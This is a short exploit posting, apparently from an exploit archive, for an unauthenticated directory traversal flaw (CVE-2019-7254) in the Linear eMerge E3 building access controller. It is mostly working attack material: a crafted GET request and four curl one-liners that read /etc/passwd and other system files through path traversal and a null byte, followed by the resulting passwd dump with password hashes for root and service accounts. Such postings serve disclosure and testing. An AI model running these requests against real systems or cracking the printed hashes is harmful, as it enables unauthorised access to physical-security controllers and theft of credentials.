eMerge E3 1.00-06 - Unauthenticated Directory Traversal

# Exploit Title: eMerge E3 1.00-06 - Unauthenticated Directory Traversal
# Google Dork: NA
# Date: 2018-09-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7254
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

# PoC

GET /?c=../../../../../../etc/passwd%00
Host: 192.168.1.2

root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/home/default:
e3user:$1$vR6H2PUd$52r03jiYrM6m5Bff03yT0/:1000:1000:Linux User,,,:/home/e3user:/bin/sh
lighttpd:$1$vqbixaUx$id5O6Pnoi5/fXQzE484CP1:1001:1000:Linux User,,,:/home/lighttpd:/bin/sh


curl -s http://192.168.1.3/badging/badge_print_v0.php?tpl=../../../../../etc/passwd
curl -s http://192.168.1.2/badging/badge_template_print.php?tpl=../../../../../etc/version
curl -s http://192.168.1.2/badging/badge_template_v0.php?layout=../../../../../../../etc/issue
curl -s http://192.168.1.2/?c=../../../../../../etc/passwd%00